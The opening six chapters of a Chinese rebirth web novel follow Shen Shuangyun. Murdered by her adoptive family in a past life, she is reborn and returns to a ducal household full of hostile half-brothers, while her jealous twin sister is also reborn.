《公府上下宠我如宝,养兄一家后悔了》
第1章 重生换爹
“爹,娘,呜呜呜,女儿不愿离家,生恩不及养恩,女儿怎舍得抛下你们,去奔荣华富贵,我要永远留在爹娘身边……”
沈婉音跪地,泪如泉涌,玉惨花愁。
这番表态,让沈霜云知道,妹妹也重生了。
昨日还向她炫耀,爹娘哥哥们偏爱她,对她如珠如宝,肯定会送她去做公府千金,让她享受荣华富贵。
到时她会开恩,替沈霜云求情,让她进府做个‘洗脚婢’,见识下公府风光。
前世,她和沈婉音被发现,是十五年前丢失的镇国公府千金,公府派人传话:她们及笄,不必回府,又送来两万两银子,银货两讫。
沈氏不愿,商户之身,自然想攀附国公府,死缠烂打,求得送回一个女儿的机会……
沈婉音迫不及待地回府,成了国公府的千金,贵妃娘娘的亲侄女。
沈霜云被父兄献到晋王府,做了晋王世子的侍妾。
一时,沈婉音志骄意满,然而,好景不长,镇国公府不要庶女的原因,就是姐妹俩的生母柳姨娘,害了镇国公原配夫人白氏的性命。
镇国公府五位公子,迁怒姐妹两人,深厌她们。
沈婉音风光没多久,就被打回原型,跌落尘埃,沈家攀附不成,人财两失,成了京中笑柄。
那时的沈霜云,已有身孕,成为侧妃。
晋王世子……
被膝下无子的庆元帝接进宫中,当成太子培养。
沈家见状,飞快攀附上来。
他们软硬兼施,要求沈霜云提携他们。
养父母说:“你是我们养大的,没有我捡你回府,你早死在臭水沟了,十五年的养育之恩,让你帮帮家里,你还推三阻四,你有良心吗?”
大哥骂她,“忘恩负义,比不上婉音一个指甲盖儿!”
二哥说:“家里养了你十五年,赐你姓,给你名,你把性命还回来都是应该的。”
三哥舔脸,“没有我们送你进晋王府当小妾,你能有今天的风光,理应回报我们!”
十五年养育之恩,狠狠拿捏了沈霜云,她耗尽心血,帮父亲谋来内务府的差事,为沈家改换门庭,她为大哥求官职,替二哥请大儒,为母亲托御医,把只会经商的三哥,送到庆元帝面前。
让他做了天下第一商。
恩情……
算是还完了吧?
后来,晋王世子被封太子,沈霜云成为太子侧妃,膝下育庶长子,沈婉音却不受镇国公府的待见,二九年华,待字闺中,她回府哭诉,父兄素来偏心她。
竟找来东宫,命令沈霜向太子进言。
让沈婉音做太子妃。
他们说:
“先太子妃病死了,东宫没有女主子,你妹妹是镇国公府的千金,身份尊贵,秀外慧中,比你这笨嘴拙舌的强上百倍,她做太子妃正好。”
“婉音善良孝顺,不像你那么势力眼,提携家人都要我们三请四求的,她洁真品质,就该母仪天下。”
“她是你妹妹,你是姐姐,你理应照顾她,让着她。”
“她去镇国公府是替你挡灾了,你别丧良心。”
沈婉音也‘哀求’,“姐姐,你放心吧,我做了太子妃,肯定会对你好的,不会嫌弃你的孩子是庶出,会视他如亲生。”
他们让沈霜云把太子骗出来,跟沈婉音成就好事,生米煮成熟饭。
沈霜云没同意。
沈家人大怒,跟她吵了一通,不欢而散。
沈霜云想着,过些日子,待父兄消气,她好好去道个歉,在帮妹妹挑户好人家,多多陪送嫁妆也就是了。
哪成想,她满怀真挚回娘家,却葬送了性命。
她和沈婉音是双胞胎,相貌上唯一的区别,就是沈霜云眼角有颗胭脂痣,沈家人丧心病狂,竟放火烧院,要‘李代桃僵’。
沈霜云抱着孩子,浑身烧伤逃出院子时。
父兄拦住她。
烈火焚身,怀中孩子被活活呛死之际,她看见……
大哥用燃烧的香,点向沈婉音的眼角。
父亲、二哥和三哥心疼不已,围着沈婉音哄她,“不怕不怕,就疼这一下,忍过去了,你日后就是霜云,是太子侧妃了!”
“有我们作证,没人会怀疑你。”
“‘婉音’已经死了,为救小皇孙死的,有‘她’的死后哀荣,太子肯定会怜惜你……”
沈霜云疯了!
疼疯了,也气疯了,她崩发出濒死的力气,爬起来冲向沈婉音,死死抱住她。
烈火燃烧。
再次睁眼,她又回到沈家献女攀附的时候。
“姐姐,我不愿离开父母,你替我去国公府享福吧。”
沈霜云定定看她,半刻,突然笑了,“好,那我去国公府。”
沈万里和周氏气急败坏,“婉音,你糊涂啊,那是一门五杰的镇国公府,当朝贵妃娘娘都是他家的,你去了,是享不尽的荣华富贵,做甚便宜霜云?”
“沈霜云,你做了什么?这样哄骗你妹妹。”
“抛家弃族,贪慕虚荣。”
两人一句接一句地指责。
全家没有一人,替沈霜云说话。
只有从小陪她的妙善,抹着眼泪替她报不平,“去也是二姑娘定的,不去也是二姑娘定的,跟我们姑娘有甚干系?”
“我们姑娘在府里,就是块‘木头’,哪回轮着她说话了。”
“算了,由她们吧。”
沈霜云凝视。
晋王府不是善地,吃人的宅院,剿肉的后宫,一个小小侍妾,做到太子侧妃,她靠的从来只有自己。
世子妃家族雄厚,乔侧妃娇媚张狂,宋侧妃温柔狠厉,周侧妃青梅竹马,赵侍妾背靠王妃,钱侍妾阴柔善断……
世子更是个变态。
沈霜云有什么?
拖后腿的商户娘家!
更何况,知晓镇国公世子秘密身份的她重生了,太子的宝座……
未可知。
沈霜云沉默,任由父兄们盘衡揣测,直到他们百般花样使尽,都劝不动沈婉音。
他们终于妥协,决定把沈霜云送去公府。
谁知,临走那日,沈婉音却突然反悔了。
第2章 多可爱的弟弟
沈婉音凑到同胞姐姐面前,皮笑肉不笑。
裴氏那一家子……
国公夫人冷漠高傲,虚情假意。
大公子凉薄阴沉,仿佛恶鬼。
二公子残暴不全,是个半残。
三公子粗鲁无文,匹夫之恶。
四公子斯文败类,蛇蝎心肠。
五公子更是天生魔童,野性难训,顽劣不堪。
这六个人,让她受尽折腾,人不像人,鬼不像鬼。
但那终归是国公府千金,仅次公主郡主的贵女,这么让给沈霜云,沈婉音不甘心。
她哪里配?
去得晋王府,还要当小妾……
多卑贱。
“婉音,要我说,还是得你去,你大方得体,冰雪聪明,天生就该过好日子。”养父沈万里劝着,又命令沈霜云,“你下来,让你妹妹上去。”
沈霜云凝视。
“别别别,爹,我舍得不你。”
沈婉音忙道,想起晋王世子俊美矜贵的模样,脸色酡红,未来位高权重的太子爷,就是当小妾,她也,她也……
“国公府,还是让姐姐去吧。”
反正就是表面风光,私下里,哼,虎狼窝。
沈婉音充满恶意。
“你啊,就是心太善。”沈万里叹息,转头姿态极高,“霜云,你记住了,去镇国公府做千金小姐的机会,是婉音让给你的,你要记得她的恩情,别当白眼狼。”
周氏也说:“去了那家,记得帮咱们说好话,提携家里,帮扶你三个哥哥,也不枉我们替你谋划一场。”
“他们好了,你才能好,懂吗?”
他们没对沈霜云怀柔,是不屑,也是不必。
沈家捡沈霜云回府,养她十五年,那是救命之恩,养育之义,沈霜云凡有一丝忤逆,不需沈府发话,天下幽幽之口,就能要了她的性命。
双重不孝,告到官府,圣上都要判她斩首。
养父母理所当然的嘴脸,跟前世火场里的场面融合。
“女儿不会忘记爹、娘,哥哥们和妹妹的‘恩典’,永生永世,铭记在心。”
沈霜云垂眸,掩下泪意。
“那就好,算你懂事。”沈万里满意了。
这才命人赶车,亲自送沈霜云前往镇国公府!
鞭子甩起,马车前行。
沈家三位公子,自始至终,没出来送妹妹一程。
反倒是沈婉音,嘻笑向马车挥手,一脸幸灾乐祸。
这一生,神佛垂青她,她和沈霜云命运调转,终于,也轮到她沈婉音做太子侧妃,皇孙生母了!!
受全家托举的未来皇后,她当定了,沈霜云,你就去受尽折磨,陪镇国公府满门抄斩吧!
马车里,沈霜云掀开帘子,外向凝望……
沈婉音!
咱们走着瞧!
——
沈府和镇国公府一个外城,一个内城。
距离很远。
马车前行大半个时辰,终于到了,沈万里下车,点头哈腰走进门房,许久,门里出来个削瘦刻薄的老嬷嬷。
“你跟着陈嬷嬷去吧,人家是公府的世代家仆,你恭敬点,少丢人。”
“世子爷是九门提督,你大哥文韬武略,进皇宫当个侍卫首领,是相衬的,你记在心里,多向他提,晓得吗?”
沈万里不甘扔下二十两银票。
前世,沈婉音回公府时,沈家给她准备了一万两。
沈霜云垂眸,低声说了句,“好,女儿知道了。”
心里却想着:首领?太监首领行吗?
“算你识趣。”沈万里满意离去。
沈霜云跟着陈嬷嬷来至正院,全程,陈嬷嬷没跟她说一句话。
赫然显示着,镇国公府不欢迎她回归的事实。
进了正院,陈嬷嬷退下,婢女彬彬有礼的恭声,“大姑娘请稍候,夫人有事处理,一会儿见你。”
说罢,转身回屋。
沈霜云站在烈日下,承受着丫鬟嬷嬷们的窥视窃笑。
她想着镇国公府的情况……
镇国公裴维武将出身,有个妹妹在宫中做贵妃,荣宠三十年不断,他本人战功郝郝,守边卫国。
先后娶过两任妻子。
原配白氏生了四个儿子,如今已经病逝,继娶夫人谢氏,生五公子,今年刚刚八岁。
至于沈霜云和沈婉音的生母柳姨娘,因谋害主母,十五年前就被打死了。
沈霜云纹丝不动。
站规矩而已,侍妾的基本功。
“哟,这就是小爷外八路的姐姐吗?”院外,突然传出张扬的童声,沈霜云回头,便见一个色如春晓,面若银盆的男童。
他看着八、九岁的样子,身穿大红箭袖的外袍,红缎白底朝靴,白玉小朝冠束发,胸前戴着长命金锁,手持马靴。
身后乌泱泱,跟着十来个小厮书童。
“喂,问你话呢?你是沈家巴巴送来的那个?”全身一抹红的男童,大步流星来到沈霜云身前。
霸道地用马鞭指她。
沈霜云知道,这就是继夫人谢氏唯一的儿子,镇国公五公子裴照野。
沈婉音说他是天生魔童,野性难训。
如今看来,果然霸道。
但……
沈霜云不怕,世子后院妻妾争斗,从来波诡云谲,动辄要命。
裴照野再霸道,再顽劣,能一句话把她拉出去打死吗?
“你是照野对吧?我是你大姐姐沈霜云,今日刚刚入府,前来拜见夫人。”
她缓缓蹲下身。
裴照野触及持平的视线,像是有点惊讶,粉圆脸鼓起,他故意挥了下马鞭,别扭道:“什么大姐姐?你都没入谱,还姓沈呢!!”
“少跟小爷套近乎了。”
沈霜云垂眉,“哦,那,倒是我失礼了,请五公子原谅,今日初次见着血脉至亲,是有些激动了。”
她依然蹲着。
裴照野鼓脸儿,扎起的丸子头一晃一晃的,看似不屑,实则眼角偷偷瞅她,“切,你跟我套近乎有什么用?”
“我告诉你哦,大哥,二哥,三哥,四哥都很讨厌你的,要不是沈家哈巴狗似的舔上来,爹爹又写了好几封信,他们可不会允许你回来。”
“三哥一直传信,说要对付你,不让你好过。”
“他下个月就回来了,你小心点吧。”
“五公子是关心我吗?”沈霜云浅笑,“谢谢你的提醒。”
“很贴心。”
“谁提醒你了!!”裴照野像个小炮杖似的,一下子炸了,高声嚷着,“小爷是京里‘雌雄双煞’里大纨绔,什么贴心?”
“谁贴心!!”
“你少胡说八道啦!”
沈霜云,“那是我理解错了,五少爷大人大量,别跟我计较。”
“哼,你知道就好。”裴照野哼气,抬起小肉下巴,傲娇道:“沈霜云是吧,你说话还挺中听的,比沈家那几个蠢货公子强多了。”
“你是要见我娘吧?别傻站着了,跟上小爷。”
“是,五公子。”沈霜云应声,跟随裴照野走进正屋,廊下婢女犹豫再三,也没敢拦。
裴照野大步流星,迈过门槛时,突然停了一下,飞快回头说了句,“算了,你不用叫五公子,叫五弟也行。”
说完,快步进屋。
沈霜云看见他耳后微红,心里微微一笑。
深堕寒渊的心,微微裂开个缝儿,透进抹幼嫩的朝阳。
弟弟吗?
沈婉音说谢夫人刻薄冷淡,唯利是图,无论她怎么卑微讨好,都无动于衷,裴照野更是恶劣,天天挥着马鞭,恶作剧,吓唬人,急躁易怒,半点不尊敬长姐,是天生的纨绔……
也,没有啊。
跟她的孩子一样,是个善良的孩子呢。
第3章 这个妹妹,我没见过
进得正屋,沈霜云抬头就见,上位坐着个彩凤辉煌,仿佛神仙妃子的美妇,裴照野猴在她身上,冲自己招手。
“外八路,过来过来,见过我娘。”
“霜云给国公夫人请安。”
沈霜云恭敬上前行礼。
规规矩矩。
谢夫人像是没想到,一个商户人家养出的女儿,竟有几分胆量,没被公府门楣和满门冷淡吓着。
挺从容的。
她打量沈霜云,心里叹气。
可惜了。
“……罢了,你一路奔波,应该是累了,先磕个头,就算请过安,入了府。”
她语气冷淡,向婢女使个眼神。
婢女把软垫放到地上。
沈霜云微掀裙摆,端正下跪。
裴照野瘪嘴,皱起小脸儿,侧身避让的同时,拽了拽谢夫人的袖子。
谢夫人看他,拧眉又叹一声,“霜云是吧,你起来,一旁坐下吧。”
“谢国公夫人。”
沈霜云顺从。
谢夫人搂着裴照野,“你虽流露在外,也是裴家的孩子,不必称呼‘国公夫人’,叫我声‘母亲’就是。”
沈霜云,“母亲!”
“嗯!”谢夫人淡声,招手,“桃心。”
婢女桃心捧梨木妆盒上前,打开露出里面的三件首饰和五百两银票。
“这是给你的见面礼。”
三件首饰。
清金嵌珠宝圆花。
金点翠穿珠流苏。
牙雕贴金四季花卉镯。
少说值两千两,另有五百两银子。
很多啊。
谢夫人哪里小气刻薄了?前世沈婉音回府时,没说得了这么厚的赏?
沈霜云连连推辞,“女儿愧不敢受。”
“给你就拿着。”谢夫人没管她,反而挥手,“我累了,你随桃心回院歇去吧。”
沈霜云犹豫片刻,敛身行礼,“是。”
旋即退步。
裴照野偷瞅她,眼珠直转,片刻,突然道:“娘,我去院子里打鸟儿。”
说罢,‘哒哒哒哒’的跑了。
丸子头一甩一甩的。
谢夫人看着儿子的背影,嘴角下抿。
奶嬷嬷担忧,小声劝道:“夫人,奴婢看着五爷往降云阁去了,估计是去找大姑娘,这……”
“不好吧。”
“几位公子那么不待见大姑娘,咱们也该避着些她,免得……”
“为何要避?”谢夫人轻抚茶杯,声线淡淡,“照野是府里五公子,我也是高门贵女,八抬大轿进门的。”
“大姑娘那里,我无心抬举她,但也不会为了讨好继子,刻意薄待。”
那太小瞧她谢双瑶。
“她懂得规矩,乖巧听话,我自会做好嫡母本分,她要是不知好歹,四六不懂,我也懒得搭理蠢货。”
“对她的态度,皆由我心,而非旁人。”
“你可明白?”
“是,夫人,奴婢明白。”
奶嬷嬷擦汗,心想:大姑娘讨没讨着夫人的喜欢,暂且看不出来,却明显不是蠢货,五爷对她也有两分好奇……
“只是夫人,三公子下个月回京,扬言不放过大姑娘,万一跟五公子起了冲突,咱们怎么办?”
“临渊那里,尚有月余,九卿却是三日后,审案归来,他那暴脾气,我怕他当场把霜云轰出府去,届时,她该如何是好……”
谢夫人眉心微低。
这条公府千金的路,步步为坎,不好走啊。
——
沈霜云跟着桃心,捧着妆盒,一前一后,往‘降云阁’走。
路过假山时,迎面走来两个男子。
其中一个,穿着碧色缠枝纹缎衣,头戴方巾书生帽,眉如远山,鼻梁高挺,唇红齿白,斯文俊秀。
扑面而来文生书卷气,端是博学多才。
另一个,气质迥然不同。
他面容冷峻,眉如墨裁、眼若寒潭,唇薄而锋,下颌线条凌厉如刀削,肤色偏白,更衬的眸色幽深,行走时,衣袍翻涌如夜雾,周身气息凛冽,仿佛连月色,都为之避让。
一身玄色飞鱼服,勒得蜂腰猿背,身姿如松。
桃心赶紧站住,把沈霜云拽到一边,小声对她说:“大姑娘,这是府里的世子爷和四少爷。”
镇国公府世子,庆元帝宠臣——钦赐翊运赞治大臣.领枢密院事.掌通政司事.锦衣卫指挥使司.中极殿大学士.九门提督。
裴寂之。
镇国公府四公子,大楚开国,第一个六元及第的状元郎,翰林院掌院学士.知制诰.国史馆总裁.赐紫金鱼袋。
裴寒声!
再有陪伴镇国公镇守边疆,军神转世的三公子裴临渊,任京兆府尹,掌京城要务的二公子裴九卿。
裴家五公子,都有庆元帝御赐的蟒袍。
世子能佩剑上朝。
端是赫赫显名。
谁又能想到,眼看他起高楼,眼看他贺宾客,眼看他楼榻了……
昔日‘裴半朝’,满门抄斩。
今生,也会如此吗?
入了国公府的她,又会有何等命运?
沈霜云思绪万千。
两位公子路过她。
裴寂之容颜冷冽,目不斜视,仿佛沈霜云是假山旁的杂草。
裴寒声则顿步,停到沈霜云身边,桃花眼打量她两下,“这是大妹妹吗?原来是今日回来,这是去哪儿?”
他问桃心。
语气漫不经心,仿佛调笑。
“回四爷的话,夫人有令,让奴婢送大姑娘去‘降云阁’。”
“大姑娘?府里哪来得大姑娘。”
裴寂之开口,声音低沉冷冽,像一柄薄刃,缓缓划过冰层,带着深深的压迫感。
桃心浑身僵硬,不知所措。
沈霜云垂眸,十指交叠。
裴照野和谢夫人对她没恶意,但四位公子不同,她生母姨娘害得先夫人早逝,母债女偿,她无话可说。
还是那句话,裴家哥哥们在讨厌她,也不会像王府后院女主子们那样,一声令下,把她拖出去打死。
无妨的。
“桃心,你可以唤我‘云姑娘’。”她小声。
替桃心解围。
“世,世子爷,夫人命奴婢带云姑娘安置。”
桃心忙道,递过感激眼神。
裴寂之神情淡漠。
疏离危险。
裴寒声俊秀面容含笑,笑意却不达眼底。
“大哥,别那么冷漠嘛,大妹妹刚回来,你吓唬她做什么?多可怜的小姑娘。”
“大妹妹~”
他转向沈霜云,歉意下隐藏着冷漠,婉转道:“你别怪大哥,他这个人啊,哈哈,就是天生不会好好说话。”
“你回来了,家里人都是欢迎的,我都准备好了,一个月后,三哥回京,府里给你办个百花宴,你把亲朋好友都邀请来。”
“大伙一起热闹热闹~”
沈霜云嘴角抿下,敛起袖子。
前世沈婉音的经历……
捧杀!
也冲她来了。
第4章 你可以做我的洗脚婢
前世,沈婉音初回镇国公府,是风光过一阵子的。
府里为她举办家宴,承认她大姑娘的名分,谢夫人带她参加宴会,高门侯府,宗室名流,甚至是皇宫,她都进过。
短短月余,她结交无数千金贵女,郡主县君,她回沈府向沈霜云炫耀,公府家人疼她宠她,四哥简直把她捧进掌心。
爱护的不行。
就二哥裴九卿是个半残的暴夫,要赶她出府。
无妨,大哥四哥偏向她。
她春风得意,直到一个月后,四公子裴寒声广邀宾朋,沈婉音请了她结识的所有贵女,参加镇国公府给她举办的认亲百花宴。
“哈哈哈,我的好姐姐,你放心,等我入祖谱,改裴姓之后,我会求四哥,容许你也进府,给我当个洗脚丫鬟!”
“就是可惜,你没有我讨人喜欢,想回家,就要入奴籍。”
沈婉音目空一切,飞扬张狂。
然而……
春光无限的百花宴,沈婉音成了京中笑谈,柳姨娘的父兄来了公府,小丑般攀扯她讨好处,白夫人的乳母状告,柳姨娘谋害主母的阴毒,坦露京城贵族眼前。
柳家人骂她贪慕虚荣,嫌贫爱富,抛弃养育她十五年的沈家人。
回公府是见利忘义。
裴家几位公子当众表示对她‘失望透顶’。
沈婉音从云端坠落,成了贵女里的‘小丑’。
幸好沈家人疼她,沈万里扬言:是他决定送女儿认亲,共享天伦,沈家三个哥哥也纷纷表示。
“婉音天真烂漫。”
“二妹妹善良纯洁。”
“母祸不及子女,柳姨娘作恶,跟可怜可爱的婉音有什么关系?”
周氏甚至跑到谢夫人跟前,壮起胆子质问她,“你身为嫡母的责任在哪里……”
沈氏全家托举,沈婉音摘了‘抛家弃族,嫌贫爱富’的帽子。
沈霜云自知。
她没那样的运气。
裴寒声要是给她来个‘百花宴亮相’,沈家人定然不会护她,大概……
只会落井下石,骂她‘废物’,‘无能’,随后,毫不犹豫地抛弃她吧。
“谢谢四哥好意,不用麻烦母亲了。”
“怎么是麻烦呢?府里好久没热闹过了,为大妹妹办宴,这是哥哥们的好意,你领情就是了。”
沈霜云,“真的不必……”
“大妹妹,你好冷漠啊,枉费四哥为了你,求了大哥,替沈家大公子谋了宫里侍卫的缺儿,送他平步青云!”
“你这么不领情,好伤四哥的心。”
裴寒声捂胸,眼底却是寒冽。
沈霜云脸色微变。
沈墨言能进宫当侍卫了?前世,裴寒声可没推荐过他,但……
看着裴四少爷戏谑嘲笑的样子。
这侍卫,恐怕不是上青云,而是入虎穴吧。
“霜云谢过四公子提携,多劳母亲费心了。”她福身。
推辞不掉。
就兵来将挡,水来土掩吧。
能杀了她不成?
“这就叫上母亲了?”裴寂之面容冷峻,疏离幽寂,骤然启唇,“倒是有些阿谀谄媚的功夫。”
他刻薄讽刺。
裴寒声狐狸眼眯起,上下打量,像是想看沈霜云的热闹,瞧她会不会哭出来?
沈霜云垂眸,不动声色,“世子说笑了,母亲秀外慧中,知书达理,一片慈母心肠,霜云初见,感佩万分,真心孝顺,哪里来的阿谀一说。”
“母亲自然值得真心真意。”
前世王府后院,女眷间唇枪舌枪,阴阳怪气,她听得太多。
早就刀枪不入。
“巧言令色。”裴寂之冷声。
“好了,大哥,大妹妹刚回来,快收了你的冷颜冷语吧。”裴寒声笑言,朝沈霜云道:“大妹妹,你别跟大哥一般见识,他就是不会说话。”
“你不知道,咱们府里五兄弟,各有各的脾气,大哥这样算是好的,过几日,你二哥回府,你就知道厉害了。”
“你四哥哥我脾气最好,要是受委屈,想哭鼻子了,就来找我吧。”
“四公子之言,霜云记下了,谢四公子。”
沈霜云没叫裴寒声‘四哥哥’。
她有自知之明。
裴寒声见她稳如泰山,觉得没意思,挥了挥手。
桃心赶紧出声,“大,咳咳,云姑娘,咱们走吧。”
“霜云拜别世子爷,四公子。”
沈霜云敛身离去。
裴家两公子漫不经心地俯视。
她渐渐走远。
裴寂之冷声,寥落漠然,“你真是太闲了,何必理她?”
无足轻重之人而已。
“大哥,你真没意思,把人高高捧起,重重摔下……”
“眼看她起高楼,眼看她宴宾客,眼看她楼塌了,不是很有趣吗?”
裴寒声调笑,眸底却有凌厉的光芒,“她敢回来,当然要承担后果。”
“我看她口蜜腹剑,心思深沉,不像能被你三言两语哄住的人。”裴寂之淡声。
语气轻松。
不是在意,只为提醒弟弟。
“没事,待二哥回府,给咱们的好妹妹来个简单粗暴,关门放狗,她自然装不下去,会投向我这个‘友善’的四哥哥,到时……”
裴寒声语气暧昩。
“什么好妹妹?没得恶心人。”裴寂之拧眉斥,又叮嘱,“你玩归玩,给父亲留几分脸面,别出人命。”
裴寒声,“大哥放心,我有分寸。”
裴寂之颔首,全然没把沈霜云放在眼中。
兄弟俩边向正院走,边交谈。
“晋王一系图谋东宫之位,今日早朝,又令人上书过继宗室子……”
“司马昭之心,路之皆知,晋王打得什么主意,陛下了然于胸。”
“楚清晏想当太子,没那么容易,只要我裴家有一个活人,就容不了晋王府上位。”
“二弟这回办的案子,就是晋王一系,待他回来,我们也该动一动了。”裴寂之凛冽,眼角淬砺锋芒。
裴寒声颔首,片刻,又调笑道:“那得等二哥暴脾气发完,把‘大妹妹’往我这里挤挤……”
“你也是无聊。”裴寂之对弟弟无奈了。
“哎,阴天下雨打孩子,闲着也是闲着,谁让她倒霉,投到柳氏贱人肚子里。”裴寒声耸肩,眉眼尽是冰冷。
第5章 霜云,你替三哥讨皇商当当
镇国公府和晋王府有血海深仇。
庆元帝年过六旬,膝下仅有一子,正是裴贵妃所生,周岁即封太子,他十一岁那年,厉王造反,太子遇刺身亡。
镇国公府被乱军攻破。
沈霜云和沈婉音慌乱中流失,被沈家收养。
先夫人白氏,也是御敌时受柳姨娘暗算受伤,几年后病逝的。
厉王造反未成,党羽全都赐死,只有晋王是当今的同胞弟弟,被太后保下。
裴贵妃的儿子死了,晋王之子却要做皇帝。
镇国公府和裴贵妃哪能容下?
血海深仇,不共戴天。
世子院中灯火,彻夜未灭。
——
沈霜云早早睡下。
她要保持精力,应付四面八方来的敌意。
三天后‘残暴半残’回府,一个月后百花宴,半年后选秀,宫里意味不明的裴贵妃,林林总总,裴府、沈氏……
继母,生父,两府的七个哥哥……
想活好多难啊。
沈霜云辗转反侧,次日醒来,从桃心处得知,“云姑娘,昨儿五少爷来‘降云阁’,说要找您,但在门外刚打个晃儿,就被四少爷叫走了!”
沈霜云明白。
裴寒声不想让她接触弟弟。
大概是怕她这个‘忘恩负义的贱人之女’,带坏了小公子吧?
她垂眸,用过早膳,前往正院请安。
谢夫人淡淡待她,不热情,不为难。
如此,两天时间匆匆流逝。
这天下午,沈家派家丁来传信,让她回府一趟。
沈霜云知道,裴寒声给大哥的‘差事’起效果了。
“母亲,沈府传信来,女儿想出去一趟。”
她到正院,向谢夫人禀告。
“嗯,你去吧,今晚你二哥回来,你……”
谢夫人犹豫,有心让她在沈府住几天,避开裴九卿,可想想几个继子的态度,终归叹口气,“早去早回吧。”
“是。”
沈霜云领命,坐上马车,前往沈府。
前世,沈婉音在公府风光时,没替沈家讨来任何好处,反而是沈霜云借怀孕之事,向楚清晏乞功,为大哥沈墨言求来王府典军一职。
那是正五品。
沈墨言却嫌丢人。
“区区王府里的职位,算得了什么?你都怀孕了,怎么不能把我荐进宫里?是不是没尽心?”
“自私自利,内里藏奸,有点心眼儿,全跟家里人使了!”
“不如你妹妹,婉音说了,要替你大哥求裴世子,直接进兵马司当大官呢!”
几个哥哥不领情。
沈婉音嘲笑她,“王府的武夫官,伺候人的差事,也有脸拿出来显摆?姐姐,你不会觉得,你当了贱妾,哥哥们就跟着卑微了,只配给人看家护院吧?”
沈霜云吃力不讨好。
今生……
面对进宫‘上青云’,不晓得大哥会不会嫌弃?家里又是什么态度?
沈家的态度十分暧昩,但沈婉音……
嫉妒不已。
“姐姐真是好本事,刚回去几天,就讨得裴家公子们的好儿,不像我心眼实,只念着爹娘的养恩,哥哥们的亲情,再想不到别的取巧之法了。”
“只是,沈府养你十五年,你没孝顺爹娘,反而一门心思谄媚权贵,我好心疼爹娘和哥哥们,替他们不值。”
“白养你了。”
沈婉音咬牙低声。
她知道今晚裴九卿回府,沈霜云会挨打被赶,也明白裴寒声不安好心,百花宴生死两重天,未来步步艰辛,处处坎坷。
却……
依旧妒意滔天。
沈府没发达呢,商户门庭,处处都要谨慎,她身边就两个丫鬟伺候,住的院子也窄小,吃穿用度更加粗糙。
官府有明旨,商户不许穿绸衣,不许戴金钗。
镇国公府有七进大院,一步一景,沈霜云睡的高床软枕,吃得凤肝凤胆,穿得绫罗绸缎,她配吗?
前世她回府,裴寒声可没给大哥官职!
为什么?
难道沈霜云比她招人喜欢?
不可能!!
沈霜云笨头笨脑,口拙心蠢,哪像她天生灵慧,咏絮之才!
“妹妹要是觉得,进宫当差不好,大哥不去也成,说到底,侍卫不过看守宫门,巡逻护院,是伺候人的活儿。”
“太委屈大哥了。”
沈霜云淡声。
“别别别,你懂什么?皇宫乃龙居所地,护卫陛下和皇亲贵胄,怎能说伺候?”沈墨言听着刺耳,反驳教训道:“那是忠贞不渝。”
“碧血丹心。”
前世,同样给皇亲贵胄的晋亲王做侍卫,就是伺候人了?
沈霜云柳眉微垂。
“大哥,你要是不愿意去,我当侍卫也成,我不嫌丢人。”二哥沈宁川出声,像个笑面虎,“不能辜负咱们小霜云的一番苦心啊。”
“对不对?”
“切,当侍卫有什么意思?霜云,你替三哥讨个皇商当当,就进内务府,主理后宫胭脂水粉就成,后宫女人都虚荣,就爱折腾那张脸,她们的银子最好赚了。”
三哥沈今安轻蔑吩咐,贪婪道:“宫里娘娘都用的胭脂水粉,要是卖到南边去,我就发财了。”
“到时候,婉音,三哥给你置办多多的嫁妆,保证你风光嫁进晋王府。”
晋王府?
楚清晏已经来了吗?
沈霜云眉目肃然,敛敛衣袖,她道:“三哥,我刚回镇国公府,不曾进宫拜见贵妃娘娘,内务府的差事,怕是够不着。”
“真没用!”
沈今安嘟囔。
沈墨言拧眉。
沈宁川见沈霜云垂头不语的模样,眼珠一转,“哎哟,三弟,你说小霜云干什么?她刚回那府里,脚跟都没站稳呢,就替大哥讨来差事,已经很不容易了。”
“哪有事事顺心的?”
“慢慢来嘛,大哥是咱们家的嫡长子,好处先给他是应该的。”
“嫡长子又怎么样?”沈今安哼声,没敢大声。
沈霜云轻抿嘴角。
一份‘飞黄腾达’的侍卫差事,果然能引得亲兄弟反目!
可笑沈家人不知柳姨娘害先夫人之事,还觉得镇国公府是好心呢。
沈霜云轻笑,目光转向沈婉音,朱唇轻启,“三哥,晋王府是怎么回事?婉音要入王府吗?晋王年过五旬,比爹岁数还大。”
“太委屈妹妹了吧。”
沈婉音立时扬眉,得意不止。
第6章 ‘半残疯子\’裴二哥
“霜云,你胡说什么?你抢了婉音当公府大小姐的机会,还不盼着她点好?”沈墨言高声教训,“晋王都土埋半截了,爹娘怎舍得把婉音给他?”
“你心思别那么恶毒。”
沈霜云攒眉,“我也是担心妹妹~”
“我们比你疼她。”沈今安没好气地说。
沈宁川却笑,“小霜云不用担心,婉音聪慧貌美,才华横溢,爹娘哪会委屈她,就是昨日,她在明昭楼见着晋王世子。”
“世子玉树临风,婉音一见倾心,爹娘想着成全她的心意。”
沈霜云抬眸,“妹妹要做妾吗?”
“婉音那样的人品,谁舍得她当妾?你做姐姐的,不能想她想点好儿?”周氏从外屋走进来,搂住沈婉音,疼惜不止,“我的女儿,娇生惯养,自然是要当主子的,怎会让她为奴为婢!”
“世子皇家血脉,她当不了世子妃,也要做个侧妃。”
“你上点心,在国公夫人面前多替她说好话,要是能求裴贵妃赐婚就更好了。”
世子侧妃?
前世,她可是黄昏时分,拎着包袱皮儿,一顶小粉轿,从王府角门抬进去的侍妾!
沈霜云轻声,“晋王是当今的同胞弟弟,世子爷嫡长出身,咱们家的门第,想做侧妃怕是不易。”
这个时候的沈家,只是京中最普通的皇商,大哥没从军,二哥没科举,三哥游手好闲,家里连个官身都没有。
前世,他们是靠着进献她这个公府不承认的血脉女儿,才巴结上晋王府,如今……
“不是有你吗?”周氏不以为然,“婉音心善,把回公府的机会给了你,你欠她一辈子。”
“替她周旋入王府,是你应该做的。”
“半个月后,是晋王妃的大寿,国公夫人肯定会参加,到时候你想法子带你妹妹一块去,她这样天生丽质,世子见着她,自然会倾心,上门求娶。”
沈霜云一时讷讷,很快又嗤笑着垂下眸。
一见倾心?
想想楚清晏的脾气秉性,她竟有些期待了!
“女儿知道,会‘竭尽全力’的。”
“算你有些良心。”周氏这才满意。
沈氏全家也开始畅想,沈婉音做了世子侧妃,会如何风光,怎样受宠!
“我的女儿,天仙下凡的人品,谁能不爱?”沈万里一言语断。
沈婉音终于高兴,撇向沈霜云的眼神,充满轻蔑和嘲弄。
前世,沈霜云区区贱妾,全靠肚皮争气,才能当上侧妃,但她沈婉音天生凤命,入府就是侧妃。
截然不同。
就让沈霜云先风光几日吧。
她不在言语。
